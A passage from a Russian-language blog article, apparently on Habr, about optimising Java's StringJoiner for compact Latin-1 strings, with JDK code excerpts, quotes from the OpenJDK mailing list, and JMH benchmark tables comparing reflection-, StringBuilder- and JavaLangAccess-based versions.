sj 100 1 1467.0 ± 90.3 1302.0 ± 18.5 ns/op
sj 100 5 1491.8 ± 166.2 1493.0 ± 135.4 ns/op
sj 100 10 1768.8 ± 160.6 1760.8 ± 111.4 ns/op
sj 100 100 3654.3 ± 113.1 3120.9 ± 175.9 ns/op
sj:·gc.alloc.rate.norm 1 1 120.0 ± 0.0 120.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 1 5 128.0 ± 0.0 120.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 1 10 144.0 ± 0.0 136.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 1 100 416.0 ± 0.0 312.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 5 1 144.0 ± 0.0 136.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 5 5 200.0 ± 0.0 168.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 5 10 272.0 ± 0.0 216.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 5 100 1632.0 ± 0.0 1128.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 10 1 256.0 ± 0.0 232.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 10 5 376.0 ± 0.0 312.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 10 10 520.0 ± 0.0 408.0 ± 0.0 B/op
sj:·gc.alloc.rate.norm 10 100 3224.1 ± 0.0 2216.1 ± 0.0 B/op
sj:·gc.alloc.rate.norm 100 1 1760.2 ± 14.9 1544.2 ± 0.0 B/op
sj:·gc.alloc.rate.norm 100 5 2960.3 ± 14.9 2344.2 ± 0.0 B/op
sj:·gc.alloc.rate.norm 100 10 4440.4 ± 0.0 3336.3 ± 0.0 B/op
sj:·gc.alloc.rate.norm 100 100 31449.3 ± 12.2 21346.7 ± 14.7 B/op
```
Наблюдаем регрессию в случаях, когда добавляется 1 небольшая строка, что закономерно: на небольших объёмах данных сильное влияние оказывают инфраструктурные расходы, а их у нас прибавилось. Также небольшая регрессия времени выполнения наблюдается для нелатинских строк и объясняется она избыточным механизмом проверки "латинскости" (об этом ниже, пока попробуйте додуматься самостоятельно).
#### Набиваем шишки
Конечно, я подозревал, что решение дерзкое и подзатыльников не миновать. Поэтому предусмотрительно был предложен запасной вариант: область видимости `String.isLatin1()` не расширять, а намутить что-то вроде:
```
package java.lang;
public class StringHelper {
public static boolean isLatin1(String str) {
return str.isLatin1();
}
}
```
Реми Фора [забраковал оба подхода](https://mail.openjdk.java.net/pipermail/core-libs-dev/2020-February/064587.html):
> You can not change the implementation anymore, by example if instead of having a split between latin1 and non latin1, we decide in the future to split between utf8 and non utf8.
>
>
>
> If you want to optimize StringJoiner, the best way to do it is to use the shared secret mechanism so a java.util class can see implementation details of a java.lang class without exposing those details publicly. As an example, take a look to EnumSet and its implementations.
Доводы веские: сейчас внешние классы ничего не знают про то, как реализованы сжатые строки, поэтому существует свобода выбора подхода и реализации. Если же мы подписываемся на разграничение по линии latin1 / не latin1, то иная реализация будет уже невозможна (например, разграничение между UTF-8 / не UTF-8). Одновременно указан способ обойти межпакетные преграды — таинственный `SharedSecrets`.
#### Глубже! Ещё глубже!
Следующий наш подопытный — `jdk.internal.access.SharedSecrets` (в ранних изданиях фигурант проходит как `jdk.internal.misc.SharedSecrets`). Читаем:
```
/** A repository of "shared secrets", which are a mechanism for
calling implementation-private methods in another package without
using reflection. A package-private class implements a public
interface and provides the ability to call package-private methods
within that package; the object implementing that interface is
provided through a third package to which access is restricted.
This framework avoids the primary disadvantage of using reflection
for this purpose, namely the loss of compile-time checking. */
```
Выглядит обнадёживающе, правда, я так и не смог обнаружить готовый метод, позволяющий определить "латинскость" строки, так что ничего не оставалось, кроме как последовать [совету](https://mail.openjdk.java.net/pipermail/core-libs-dev/2020-February/064628.html) Реми и создать его самому:
> yes!
>
> crossing package boundary in a non public way is not free, but given that StringJoiner is used quite often (directly or indirectly using Collectors.joining()), it may worth the cost.
Решение состоит из нескольких частей. Первым описан интерфейс, позволяющий пользователю определять "латинскость" строки:
```
package jdk.internal.access;
public interface JavaLangStringAccess {
boolean isLatin1(String str);
}
```
Далее реализация (пока с использованием рефлексии):
```
class StringAccess implements jdk.internal.access.JavaLangStringAccess {
static {
SharedSecrets.setJavaLangStringAccess(new StringAccess());
}
private final Method isLatin1;
StringAccess() {
this.isLatin1 = initIsLatin1Method();
}
@Override
public boolean isLatin1(String str) {
try {
return (boolean) isLatin1.invoke(str);
} catch (IllegalAccessException | InvocationTargetException e) {
throw new RuntimeException(e);
}
}
private static Method initIsLatin1Method() {
try {
Method isLatin1 = String.class.getDeclaredMethod("isLatin1");
isLatin1.setAccessible(true);
return isLatin1;
} catch (NoSuchMethodException e) {
throw new Error(e);
}
}
}
```
Ну и сам `SharedSecrets` (обратите внимание на любопытный подход к ленивому созданию объекта `StringAccess`):
```
public class SharedSecrets {
private static final Unsafe unsafe = Unsafe.getUnsafe();
private static JavaLangStringAccess javaLangStringAccess;
// ...
public static JavaLangStringAccess getJavaLangStringAccess() {
if (javaLangStringAccess == null) {
unsafe.ensureClassInitialized(StringAccess.class);
}
return javaLangStringAccess;
}
public static void setJavaLangStringAccess(JavaLangStringAccess stringAccess) {
javaLangStringAccess = stringAccess;
}
}
```
Соответственно, в методе `StringJoiner.add()` и конструкторе теперь вызывается статический метод, передающий вызов в `JavaLangStringAccess.isLatin1()`:
```
public final class StringJoiner {
private boolean allLatin1;
public StringJoiner add(CharSequence newElement) {
final String elt = String.valueOf(newElement);
//...
this.allLatin1 &= isLatin1(elt);
return this;
}
private static boolean isLatin1(String str) {
return SharedSecrets.getJavaLangStringAccess().isLatin1(str);
}
}
```
Уже сейчас очевидно, что теперь регрессия станет ещё сильнее, ведь рефлексия — удовольствие не из дешёвых. Также очевидно, что наиболее сильным проседание будет у нелатинских строк, т. к. там на существующие расходы накладываются ещё проверки "латинскости". Выше я упоминал, что предложенный алгоритм несовершенен:
```
public final class StringJoiner {
private boolean allLatin1;
public StringJoiner(CharSequence delimiter,
CharSequence prefix,
CharSequence suffix) {
// ...
this.allLatin1 = isLatin1(this.prefix) && isLatin1(this.delimiter) && isLatin1(this.suffix);
}
public StringJoiner add(CharSequence newElement) {
final String elt = String.valueOf(newElement);
//...
this.allLatin1 &= isLatin1(elt);
return this;
}
}
```
Предположим, мы складываем 10 нелатинских строк. Уже после добавления первой из них значение поля `allLatin1` становится `false`, делая дальнейшие проверки бессмысленными, ведь значение уже не будет меняться. Всего одной нелатинской строки достаточно для отката к `char[]`.
Таким образом, улучшение лежит на поверхности: удалим поле `allLatin1` и будем принимать решение непосредственно при вызове `toString()`. Это даст возможность для первой же нелатинской строки сразу вернуть `false`, что сгладит проседание по времени:
```
private static boolean allLatin1(String[] strings, int size) {
for (int i = 0; i < size; i++) {
String str = strings[i];
if (!SharedSecrets.getJavaLangStringAccess().isLatin1(str)) {
return false;
}
}
return true;
}
private boolean psdLatin1() {
return SharedSecrets.getJavaLangStringAccess().isLatin1(delimiter)
&& SharedSecrets.getJavaLangStringAccess().isLatin1(prefix)
&& SharedSecrets.getJavaLangStringAccess().isLatin1(suffix)
}
```
Теперь `toString()`:
```
@Override
public String toString() {
final String[] elts = this.elts;
if (elts == null && emptyValue != null) {
return emptyValue;
}
final int size = this.size;
final int addLen = prefix.length() + suffix.length();
if (addLen == 0) {
compactElts();
return size == 0 ? "" : elts[0];
}
if (psdLatin1() && allLatin1(elts, size)) {
return bytesToString(elts, size, addLen);
}
return charsToString(elts, size, addLen);
}
```
Пришло время проверить, будет ли вообще толк от нашего творчества:
**Боль - это боль, как её ты не назови...**
```
Benchmark count latin len Original Patched
sj 1 true 1 26.9 ± 0.7 48.8 ± 2.2 ns/op !
sj 1 true 5 30.5 ± 1.0 46.1 ± 2.1 ns/op !
sj 1 true 10 31.2 ± 0.6 47.3 ± 1.3 ns/op !
sj 1 true 100 62.5 ± 3.3 79.9 ± 4.8 ns/op !
sj 5 true 1 78.2 ± 1.6 110.3 ± 2.9 ns/op !
sj 5 true 5 94.2 ± 8.7 116.6 ± 0.7 ns/op !
sj 5 true 10 95.3 ± 6.9 100.1 ± 0.4 ns/op
sj 5 true 100 188.0 ± 10.2 136.0 ± 0.4 ns/op
sj 10 true 1 160.3 ± 4.5 172.9 ± 0.8 ns/op
sj 10 true 5 169.0 ± 4.7 180.2 ± 9.1 ns/op
sj 10 true 10 205.7 ± 16.4 182.7 ± 1.1 ns/op
sj 10 true 100 366.5 ± 17.0 284.5 ± 3.1 ns/op
sj 100 true 1 1117.6 ± 11.1 2123.7 ± 11.1 ns/op !
sj 100 true 5 1270.7 ± 40.2 2163.6 ± 12.4 ns/op !
sj 100 true 10 1364.4 ± 14.0 2283.8 ± 16.1 ns/op !
sj 100 true 100 3592.9 ± 164.8 3535.2 ± 29.9 ns/op
sj 1 false 1 35.6 ± 1.2 59.1 ± 3.0 ns/op !
sj 1 false 5 39.3 ± 1.2 52.6 ± 2.5 ns/op !
sj 1 false 10 42.2 ± 1.6 53.6 ± 0.3 ns/op !
sj 1 false 100 70.5 ± 1.8 86.4 ± 0.4 ns/op !
sj 5 false 1 89.0 ± 3.5 102.2 ± 1.0 ns/op !
sj 5 false 5 87.6 ± 0.7 106.5 ± 1.2 ns/op !
sj 5 false 10 109.0 ± 5.6 116.5 ± 1.2 ns/op !
sj 5 false 100 324.0 ± 16.5 221.9 ± 0.5 ns/op
sj 10 false 1 183.9 ± 5.9 204.7 ± 5.5 ns/op !
sj 10 false 5 198.7 ± 9.7 202.4 ± 1.5 ns/op !
sj 10 false 10 196.7 ± 6.9 226.7 ± 6.4 ns/op !
sj 10 false 100 535.8 ± 2.3 553.0 ± 5.6 ns/op !
sj 100 false 1 1674.6 ± 122.1 1940.8 ± 16.2 ns/op !
sj 100 false 5 1791.9 ± 58.1 2158.1 ± 12.0 ns/op !
sj 100 false 10 2124.1 ± 193.3 2364.0 ± 25.2 ns/op !
sj 100 false 100 4323.4 ± 29.2 4675.5 ± 11.8 ns/op !
sj:·gc.a.r.n 1 true 1 120.0 ± 0.0 120.0 ± 0.0 B/op
sj:·gc.a.r.n 1 true 5 128.0 ± 0.0 120.0 ± 0.0 B/op
sj:·gc.a.r.n 1 true 10 144.0 ± 0.0 136.0 ± 0.0 B/op
sj:·gc.a.r.n 1 true 100 416.0 ± 0.0 312.0 ± 0.0 B/op
sj:·gc.a.r.n 5 true 1 144.0 ± 0.0 136.0 ± 0.0 B/op
sj:·gc.a.r.n 5 true 5 200.0 ± 0.0 168.0 ± 0.0 B/op
sj:·gc.a.r.n 5 true 10 272.0 ± 0.0 216.0 ± 0.0 B/op
sj:·gc.a.r.n 5 true 100 1632.0 ± 0.0 1128.0 ± 0.0 B/op
sj:·gc.a.r.n 10 true 1 256.0 ± 0.0 232.0 ± 0.0 B/op
sj:·gc.a.r.n 10 true 5 376.0 ± 0.0 316.8 ± 4.9 B/op
sj:·gc.a.r.n 10 true 10 520.0 ± 0.0 408.0 ± 0.0 B/op
sj:·gc.a.r.n 10 true 100 3224.1 ± 0.0 2236.9 ± 21.2 B/op
sj:·gc.a.r.n 100 true 1 1748.1 ± 4.0 1592.2 ± 0.0 B/op
sj:·gc.a.r.n 100 true 5 2948.2 ± 4.0 2392.3 ± 0.0 B/op
sj:·gc.a.r.n 100 true 10 4444.3 ± 4.0 3384.3 ± 0.0 B/op
sj:·gc.a.r.n 100 true 100 1441.4 ± 0.0 21385.4 ± 0.0 B/op
sj:·gc.a.r.n 1 false 1 144.0 ± 0.0 144.0 ± 0.0 B/op
sj:·gc.a.r.n 1 false 5 160.0 ± 0.0 160.0 ± 0.0 B/op
sj:·gc.a.r.n 1 false 10 184.0 ± 0.0 184.0 ± 0.0 B/op
sj:·gc.a.r.n 1 false 100 640.0 ± 0.0 640.0 ± 0.0 B/op
sj:·gc.a.r.n 5 false 1 184.0 ± 0.0 184.0 ± 0.0 B/op
sj:·gc.a.r.n 5 false 5 280.0 ± 0.0 280.0 ± 0.0 B/op
sj:·gc.a.r.n 5 false 10 400.0 ± 0.0 400.0 ± 0.0 B/op
sj:·gc.a.r.n 5 false 100 2664.1 ± 0.0 2664.1 ± 0.0 B/op
sj:·gc.a.r.n 10 false 1 320.0 ± 0.0 334.4 ± 7.4 B/op
sj:·gc.a.r.n 10 false 5 520.0 ± 0.0 520.0 ± 0.0 B/op
sj:·gc.a.r.n 10 false 10 760.0 ± 0.0 769.6 ± 6.5 B/op
sj:·gc.a.r.n 10 false 100 5264.2 ± 0.0 5273.8 ± 6.5 B/op
sj:·gc.a.r.n 100 false 1 2204.2 ± 4.0 2216.3 ± 0.0 B/op
sj:·gc.a.r.n 100 false 5 4196.3 ± 6.2 4216.4 ± 0.0 B/op
sj:·gc.a.r.n 100 false 10 6696.5 ± 5.4 6712.6 ± 0.0 B/op
sj:·gc.a.r.n 100 false 100 1702.0 ± 4.1 51714.4 ± 0.0 B/op
```
Да, сохраняется выигрыш по памяти, но проседание по времени стало почти всеобщим и катастрофическим. Опыт показывает, что в деле определения "латинскости" рефлексия нам не товарищ.
#### Реплика из зала
В какой-то момент в обсуждении [нарисовался](https://mail.openjdk.java.net/pipermail/core-libs-dev/2020-February/064698.html) [lany](https://habr.com/ru/users/lany/) и оставил несколько ценных замечаний. Я выделил важнейшие (на мой взгляд):
> Hello!
>
>
>
> In many tests, I see little or no performance improvements. E.g.:
>
> stringJoiner 100 10 1768.8 ±160.6 1760.8 ± 111.4 ns/op
>
>
>
> How would you explain that this code change doesn't improve the performance for given count and length?
>
>
>
> **Also, you are using `new String(bytes)` assuming that the platform charset is latin1-compatible. This is not always true, so your code would produce incorrect results depending on this setting. In general, decoding via charset is tons of extra work. Instead, I would experiment with pre-sized StringBuilder inside compactElts, instead of char[] array. While it does some extra checks, StringBuilder already can use the compact string representation, so if it's properly pre-sized, no extra memory will be allocated.**
>
>
>
> **Finally, if you optimize for the case when X is true you should always benchmark what happens when X is false. It's great that in some cases we see a speedup for latin1 strings. But what if not all of the strings are latin1?** Is there any performance degradation? If yes, can we tolerate it?
Первым же предложением сразу под дых. Действительно, если мы внимательно почитаем код `java.lang.String`, то найдём там интересную документацию:
```
public final class String {
private final byte coder;
/**
* @implNote
* The actual value for this field is injected by JVM. The static <--- !!!
* initialization block is used to set the value here to communicate
* that this static final field is not statically foldable, and to
* avoid any possible circular dependency during vm initialization.
*/
static final boolean COMPACT_STRINGS;
static {
COMPACT_STRINGS = true;
}
boolean isLatin1() {
return COMPACT_STRINGS && coder == LATIN1;
}
}
```
Возможна ли с нашими изменениями ситуация, при которой все строки будут определены как латинские при выключенном сжатии строк? Для проверки нужно запустить виртуальную машину с флагом `-XX:-CompactStrings` и посмотреть в отладчике значение `String.COMPACT_STRINGS` (при запуске без флагов оно `true`). Запускаем, смотрим — `String.COMPACT_STRINGS` возвращает `false`. Помним, что
```
public final class String {
boolean isLatin1() {
return COMPACT_STRINGS && coder == LATIN1;
}
}
```
т. е. если метод `isLatin1()` вернул `true`, то сжатые строки включены. Вроде как можно выдохнуть: если мы дошли до вызова `bytesToString()`, то значит, все складываемые строки латинские, а раз они определены как латинские, то сжатые строки включены на уровен ВМ. Едем дальше:
> **In general, decoding via charset is tons of extra work. Instead, I would experiment with pre-sized StringBuilder inside compactElts, instead of char[] array. While it does some extra checks, StringBuilder already can use the compact string representation, so if it's properly pre-sized, no extra memory will be allocated.**
Причина проседания в моём коде — использование рефлексии для разграничения `char[]` / `byte[]`, но эта функциональность уже реализована в `StringBuilder`-е, который по счастливому стечению обстоятельств объявлен в пакете `java.lang`.
Что же, попробуем:
```
@Override
public String toString() {
final String[] elts = this.elts;
if (elts == null && emptyValue != null) {
return emptyValue;
}
final int size = this.size;
final int addLen = prefix.length() + suffix.length();
if (addLen == 0) {
compactElts();
return size == 0 ? "" : elts[0];
}
StringBuilder sb = new StringBuilder(len + addLen).append(prefix);
if (size > 0) {
sb.append(elts[0]);
String delimiter = this.delimiter;
for (int i = 1; i < size; i++) {
sb.append(delimiter).append(elts[i]);
}
}
return sb.append(suffix).toString();
}
```
Да, вот так просто. Больше нам не нужно проверять строки, это сделает за нас стандратная библиотека:
```
public AbstractStringBuilder append(String str) {
if (str == null) {
return appendNull();
}
int len = str.length();
ensureCapacityInternal(count + len);
putStringAt(count, str);
count += len;
return this;
}
private final void putStringAt(int index, String str) {
if (getCoder() != str.coder()) {
inflate();
}
str.getBytes(value, index, coder);
}
```
По идее это должно решить наши проблемы. Проверим:
**Очередной провал**
```
Benchmark count latin len Original StringBuilder
sj 1 true 1 26.9 ± 0.7 33.4 ± 0.2 ns/op !
sj 1 true 5 30.5 ± 1.0 33.0 ± 0.1 ns/op !
sj 1 true 10 31.2 ± 0.6 34.3 ± 0.3 ns/op !
sj 1 true 100 62.5 ± 3.3 44.4 ± 0.1 ns/op
sj 5 true 1 78.2 ± 1.6 87.8 ± 0.8 ns/op !
sj 5 true 5 94.2 ± 8.7 88.2 ± 0.9 ns/op
sj 5 true 10 95.3 ± 6.9 91.6 ± 0.6 ns/op
sj 5 true 100 188.0 ± 10.2 126.1 ± 0.7 ns/op
sj 10 true 1 160.3 ± 4.5 177.6 ± 0.8 ns/op !
sj 10 true 5 169.0 ± 4.7 179.4 ± 1.0 ns/op !
sj 10 true 10 205.7 ± 16.4 189.5 ± 1.2 ns/op
sj 10 true 100 366.5 ± 17.0 290.0 ± 0.8 ns/op
sj 100 true 1 1117.6 ± 11.1 1563.8 ± 2.8 ns/op !
sj 100 true 5 1270.7 ± 40.2 1592.4 ± 4.0 ns/op !
sj 100 true 10 1364.4 ± 14.0 1773.7 ± 57.7 ns/op !
sj 100 true 100 3592.9 ± 164.8 2899.2 ± 51.0 ns/op
sj 1 false 1 35.6 ± 1.2 52.7 ± 1.2 ns/op !
sj 1 false 5 39.3 ± 1.2 54.4 ± 1.6 ns/op !
sj 1 false 10 42.2 ± 1.6 52.2 ± 1.0 ns/op !
sj 1 false 100 70.5 ± 1.8 78.6 ± 1.2 ns/op !
sj 5 false 1 89.0 ± 3.5 116.3 ± 3.8 ns/op !
sj 5 false 5 87.6 ± 0.7 115.2 ± 2.9 ns/op !
sj 5 false 10 109.0 ± 5.6 126.5 ± 0.5 ns/op !
sj 5 false 100 324.0 ± 16.5 288.9 ± 0.5 ns/op
sj 10 false 1 183.9 ± 5.9 261.2 ± 7.7 ns/op !
sj 10 false 5 198.7 ± 9.7 253.3 ± 6.7 ns/op !
sj 10 false 10 196.7 ± 6.9 274.3 ± 7.0 ns/op !
sj 10 false 100 535.8 ± 2.3 677.3 ± 6.4 ns/op !
sj 100 false 1 1674.6 ± 122.1 2212.5 ± 32.2 ns/op !
sj 100 false 5 1791.9 ± 58.1 2492.8 ± 30.9 ns/op !
sj 100 false 10 2124.1 ± 193.3 2611.7 ± 17.5 ns/op !
sj 100 false 100 4323.4 ± 29.2 5501.3 ± 21.1 ns/op !
sj:·gc.a.r.n 1 true 1 120.0 ± 0.0 144.0 ± 0.0 B/op !
sj:·gc.a.r.n 1 true 5 128.0 ± 0.0 144.0 ± 0.0 B/op !
sj:·gc.a.r.n 1 true 10 144.0 ± 0.0 160.0 ± 0.0 B/op !
sj:·gc.a.r.n 1 true 100 416.0 ± 0.0 336.0 ± 0.0 B/op
sj:·gc.a.r.n 5 true 1 144.0 ± 0.0 160.0 ± 0.0 B/op !
sj:·gc.a.r.n 5 true 5 200.0 ± 0.0 192.0 ± 0.0 B/op
sj:·gc.a.r.n 5 true 10 272.0 ± 0.0 240.0 ± 0.0 B/op
sj:·gc.a.r.n 5 true 100 1632.0 ± 0.0 1152.0 ± 0.0 B/op
sj:·gc.a.r.n 10 true 1 256.0 ± 0.0 256.0 ± 0.0 B/op
sj:·gc.a.r.n 10 true 5 376.0 ± 0.0 336.0 ± 0.0 B/op
sj:·gc.a.r.n 10 true 10 520.0 ± 0.0 432.0 ± 0.0 B/op
sj:·gc.a.r.n 10 true 100 3224.1 ± 0.0 2240.1 ± 0.0 B/op
sj:·gc.a.r.n 100 true 1 1748.1 ± 4.0 1568.2 ± 0.0 B/op
sj:·gc.a.r.n 100 true 5 2948.2 ± 4.0 2368.2 ± 0.0 B/op
sj:·gc.a.r.n 100 true 10 4444.3 ± 4.0 3364.3 ± 4.0 B/op
sj:·gc.a.r.n 100 true 100 31441.4 ± 0.0 21365.1 ± 4.1 B/op
sj:·gc.a.r.n 1 false 1 144.0 ± 0.0 192.0 ± 0.0 B/op !
sj:·gc.a.r.n 1 false 5 160.0 ± 0.0 208.0 ± 0.0 B/op !
sj:·gc.a.r.n 1 false 10 184.0 ± 0.0 240.0 ± 0.0 B/op !
sj:·gc.a.r.n 1 false 100 640.0 ± 0.0 784.0 ± 0.0 B/op !
sj:·gc.a.r.n 5 false 1 184.0 ± 0.0 240.0 ± 0.0 B/op !
sj:·gc.a.r.n 5 false 5 280.0 ± 0.0 349.6 ± 2.4 B/op !
sj:·gc.a.r.n 5 false 10 400.0 ± 0.0 496.0 ± 0.0 B/op !
sj:·gc.a.r.n 5 false 100 2664.1 ± 0.0 3216.1 ± 0.0 B/op !
sj:·gc.a.r.n 10 false 1 320.0 ± 0.0 384.0 ± 0.0 B/op !
sj:·gc.a.r.n 10 false 5 520.0 ± 0.0 624.0 ± 0.0 B/op !
sj:·gc.a.r.n 10 false 10 760.0 ± 0.0 912.0 ± 0.0 B/op !
sj:·gc.a.r.n 10 false 100 5264.2 ± 0.0 6320.3 ± 0.0 B/op !
sj:·gc.a.r.n 100 false 1 2204.2 ± 4.0 2436.3 ± 6.8 B/op !
sj:·gc.a.r.n 100 false 5 4196.3 ± 6.2 4832.4 ± 6.6 B/op !
sj:·gc.a.r.n 100 false 10 6696.5 ± 5.4 7844.7 ± 4.0 B/op !
sj:·gc.a.r.n 100 false 100 51702.0 ± 4.1 61838.6 ± 6.2 B/op !
```
Увы, регрессия теперь почти везде. Мы всё ещё неплохо выигрываем по памяти для латинских строк (чего не скажешь про нелатинские), однако время выполнения стало сильно хуже.
#### Призрак АШ
Мы испробовали несколько подходов, давших неудовлетворительные результаты. Дёрнуть напрямую `String.isLatin1()` запрещено, вызывать его рефлексией — сильно бить по времени выполнения, использование `StringBuilder`-а больше вредит, чем помогает. Всё пропало? Оказалось, не всё.
В обсуждении [появился](https://mail.openjdk.java.net/pipermail/core-libs-dev/2020-February/064780.html) Брент Кристиан собственной персоной — создатель того самого JEP 254:
> As a point of interest, some investigation of updating StringJoiner for CompactStrings was done a while back.
>
>
>
> See <https://bugs.openjdk.java.net/browse/JDK-8148937>
По ссылке живёт существующая ещё с 2016 задача с похожим описанием:
> This is seems to be a performance optimization, but it clashes with Compact Strings which now have to re-compress the resulting char[] array into byte[]. We may want to extend this mechanism by figuring out the coders for arguments, and creating byte[] with appropriate coder, then using a private String constructor that does not re-compress.
По это же ссылке находим [ссылку](http://cr.openjdk.java.net/~shade/8148937/webrev.01/) на предложенные изменения. Из любопытного:
1) В ранних версиях у `StringJoiner`-а был доступ к `SharedSecrets` (строка 89 в "до")
2) Использующийся алгоритм коренным образом отличается от описанного выше. `char[]` не используется вовсе, а вместо явного деления на латинские/нелатинские строки используется кодировщик.
3) Для преодоления межпакетных барьеров без использования рефлексии помогает `JavaLangAccess`
Для наших изменений наибольший интерес представляет, как ни странно, последний пункт. До этого приходилось писать свой интерфейс и реализацию для доступа к закрытым методам строки. Теперь используя связку `SharedSecrets` -> `JavaLangAccess` -> `java.lang.System` рефлексию можно выбросить, ведь `String.isLatin1()` виден классу `System`!
Выходит, всё, что нам нужно для разграничения, это:
```
public interface JavaLangAccess {
//...
boolean isLatin1(String str);
}
public final class System {
//...
public boolean isLatin1(String str) {
return str.isLatin1();
}
}
```
Теперь накладные расходы по большей части сведены на нет. Но сложности остаются. Ещё раз перечитаем Тагира:
> In general, decoding via charset is tons of extra work.
Хм, в нашем коде мы вызываем конструктор `new String(byte[])`:
```
private String bytesToString(String[] elts, int size, int addLen) {
final byte[] bytes = new byte[len + addLen];
int k = getBytes(prefix, bytes, 0);
if (size > 0) {
final String delimiter = this.delimiter;
k += getBytes(elts[0], bytes, k);
for (int i = 1; i < size; i++) {
k += getBytes(delimiter, bytes, k);
k += getBytes(elts[i], bytes, k);
}
}
getBytes(suffix, bytes, k);
return new String(bytes);
}
```
а в него-то я не смотрел… Пришло время взглянуть правде в глаза:
```
public String(byte[] bytes) {
this(bytes, 0, bytes.length);
}
public String(byte bytes[], int offset, int length) {
checkBoundsOffCount(offset, length, bytes.length);
StringCoding.Result ret = StringCoding.decode(bytes, offset, length); // адЪ
this.value = ret.value;
this.coder = ret.coder;
}
```
Прямой вызов `new String(byte[])` пахнет плохой производительностью. Увернуться нам поможет, как ни странно, `StringBuilder`:
```
@Override
@HotSpotIntrinsicCandidate
public String toString() {
// Create a copy, don't share the array
return isLatin1()
? StringLatin1.newString(value, 0, count) // <---
: StringUTF16.newString(value, 0, count);
}
final class StringLatin1 {
public static String newString(byte[] val, int index, int len) {
return new String(Arrays.copyOfRange(val, index, index + len), LATIN1);
}
}
```
Обратите внимание, что в конструктор строки мы передаём копию массива, т. к. метод `StringBuilder.toString()` может быть вызван несколько раз. Более того, между несколькими вызовами сам `StringBuilder` может измениться. В нашем же случае массив создаётся при каждом вызове `StringJoiner.toString()` и используется полностью, поэтому копирование нам не нужно. Добавим свой метод `StringLatin1.newString(byte[])`:
```
final class StringLatin1 {
public static String newString(byte[] val, int index, int len) {
byte[] copy = Arrays.copyOfRange(val, index, index + len);
return newString(copy);
}
public static String newString(byte[] val) {
return new String(val, LATIN1);
}
}
```
Теперь собираем всё воедино, делаем замеры и отправляем [письмо с результатами](https://mail.openjdk.java.net/pipermail/core-libs-dev/2020-February/064799.html) (патч в самом низу по ссылке). Теперь у нас почти нет регрессии, а потребление памяти во многих случаях сократилось почти втрое!
И последнее: давайте сравним наши изменения и патч АШ. Для этого приспособим его изменения к кодовой базе JDK 14, а далее по накатанной.
**Подведём итоги**
```
latin cnt len Original Mine ASh
sj true 1 1 27.7 ± 1.2 22.1 ± 0.2 19.7 ± 0.2 ns/op
sj true 1 5 27.7 ± 0.1 22.3 ± 0.0 19.8 ± 0.0 ns/op
sj true 1 10 29.0 ± 0.6 23.2 ± 0.0 20.1 ± 0.1 ns/op
sj true 1 100 51.4 ± 0.1 31.4 ± 0.1 32.9 ± 0.1 ns/op
sj true 5 1 71.1 ± 0.4 64.9 ± 0.3 53.8 ± 0.1 ns/op
sj true 5 5 79.5 ± 0.3 65.5 ± 0.3 54.8 ± 0.1 ns/op
sj true 5 10 81.2 ± 0.3 67.7 ± 0.2 56.1 ± 0.1 ns/op
sj true 5 100 150.0 ± 0.4 86.5 ± 0.5 78.5 ± 0.3 ns/op
sj true 10 1 145.5 ± 0.7 142.5 ± 0.4 127.1 ± 0.5 ns/op
sj true 10 5 160.0 ± 0.8 145.6 ± 0.2 130.8 ± 0.3 ns/op
sj true 10 10 165.6 ± 0.4 150.8 ± 0.3 138.9 ± 0.4 ns/op
sj true 10 100 340.2 ± 1.2 189.3 ± 0.4 175.2 ± 0.7 ns/op
sj true 100 1 1114.3 ± 15.9 1372.7 ± 53.0 1197.4 ± 34.0 ns/op !
sj true 100 5 1184.2 ± 18.5 1385.9 ± 56.0 1159.0 ± 32.3 ns/op
sj true 100 10 1345.8 ± 13.9 1369.0 ± 2.7 1233.5 ± 32.9 ns/op
sj true 100 100 3156.1 ± 19.1 1844.1 ± 4.1 1727.9 ± 37.6 ns/op
sj false 1 1 33.5 ± 0.4 34.9 ± 0.1 19.6 ± 0.0 ns/op
sj false 1 5 33.3 ± 0.3 35.9 ± 0.1 20.1 ± 0.1 ns/op
sj false 1 10 33.8 ± 0.1 35.9 ± 0.1 20.6 ± 0.0 ns/op
sj false 1 100 57.5 ± 0.2 58.3 ± 0.1 39.6 ± 0.1 ns/op
sj false 5 1 82.9 ± 0.5 82.0 ± 0.8 64.2 ± 1.3 ns/op
sj false 5 5 86.0 ± 0.5 84.8 ± 0.9 66.6 ± 0.8 ns/op
sj false 5 10 96.9 ± 0.5 92.5 ± 0.6 76.9 ± 0.7 ns/op
sj false 5 100 224.2 ± 0.6 226.7 ± 0.7 125.1 ± 0.6 ns/op
sj false 10 1 165.7 ± 0.9 167.6 ± 3.2 152.1 ± 1.0 ns/op
sj false 10 5 178.4 ± 0.7 179.6 ± 2.1 163.7 ± 0.9 ns/op
sj false 10 10 191.7 ± 0.9 195.9 ± 2.2 172.5 ± 0.8 ns/op
sj false 10 100 534.4 ± 1.4 534.5 ± 1.3 305.2 ± 1.1 ns/op
sj false 100 1 1435.9 ± 9.5 1428.2 ± 3.2 1333.0 ± 4.7 ns/op
sj false 100 5 1618.5 ± 14.3 1595.2 ± 3.7 1379.7 ± 10.4 ns/op
sj false 100 10 1898.1 ± 9.4 1860.8 ± 4.7 1531.5 ± 13.7 ns/op
sj false 100 100 4247.4 ± 60.7 4150.1 ± 9.1 2423.8 ± 11.9 ns/op
g.a.r.n true 1 1 124.0 ± 4.0 96.0 ± 0.0 96.0 ± 0.0 B/op
g.a.r.n true 1 5 128.0 ± 0.0 96.0 ± 0.0 96.0 ± 0.0 B/op
g.a.r.n true 1 10 144.0 ± 0.0 104.0 ± 0.0 104.0 ± 0.0 B/op
g.a.r.n true 1 100 416.0 ± 0.0 192.0 ± 0.0 192.0 ± 0.0 B/op
g.a.r.n true 5 1 144.0 ± 0.0 104.0 ± 0.0 96.0 ± 0.0 B/op
g.a.r.n true 5 5 200.0 ± 0.0 120.0 ± 0.0 120.0 ± 0.0 B/op
g.a.r.n true 5 10 272.0 ± 0.0 144.0 ± 0.0 144.0 ± 0.0 B/op
g.a.r.n true 5 100 1632.0 ± 0.0 600.0 ± 0.0 592.0 ± 0.0 B/op
